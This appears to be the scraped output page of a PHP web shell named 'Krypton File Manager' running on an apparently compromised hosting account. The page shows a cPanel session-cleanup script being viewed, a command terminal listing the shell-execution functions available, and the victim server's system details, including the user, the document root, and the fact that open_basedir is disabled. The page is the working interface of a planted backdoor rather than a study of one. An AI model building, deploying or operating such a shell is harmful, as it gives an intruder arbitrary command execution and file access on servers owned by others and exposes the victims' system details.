𓆩♡𓆪 Krypton File Manager v3.0.0 𓆩♡𓆪

Current Path: /usr/local/cpanel/scripts

👁️ Viewing: cleanphpsessions.php

<?php # cpanel - scripts/cleanphpsessions.php Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited ini_set('error_log', '/usr/local/cpanel/logs/error_log'); $user = $argv[1]; $day = time() - 86400; $dbh = sqlite_open("/var/cpanel/userhomes/$user/sessions/phpsess.sdb" ); sqlite_query($dbh, "DELETE FROM session_data WHERE updated < $day"); sqlite_query($dbh, "VACUUM"); sqlite_close($dbh); ?>

💻 Command Terminal

Available execution methods: system, exec, passthru, shell_exec, proc_open, popen

Welcome to Krypton Terminal Available commands depend on your system and permissions.

🖥️ System Information

OS: Linux

PHP Version: 8.2.29

Server Software: Apache

Document Root: /home/bassmoto/public_html

Current User: bassmoto

Server Time: 2025-12-14 07:44:45

Memory Limit: 512M

Memory Usage: 2 MB

Peak Memory: 2 MB

Disk Free Space: 356.73 GB

Disk Total Space: 3.9 TB

Max Execution Time: 30s

Max Upload Size: 40M

Post Max Size: 40M

Open Basedir: None

Command Execution: system, exec, passthru, shell_exec, proc_open, popen

⚙️ Process Management

Click "Refresh Processes" to load running processes...

🌐 Network Information

Click "Refresh Network Info" to load network details...

🔗 Network Connections

Click "Refresh Connections" to load active connections...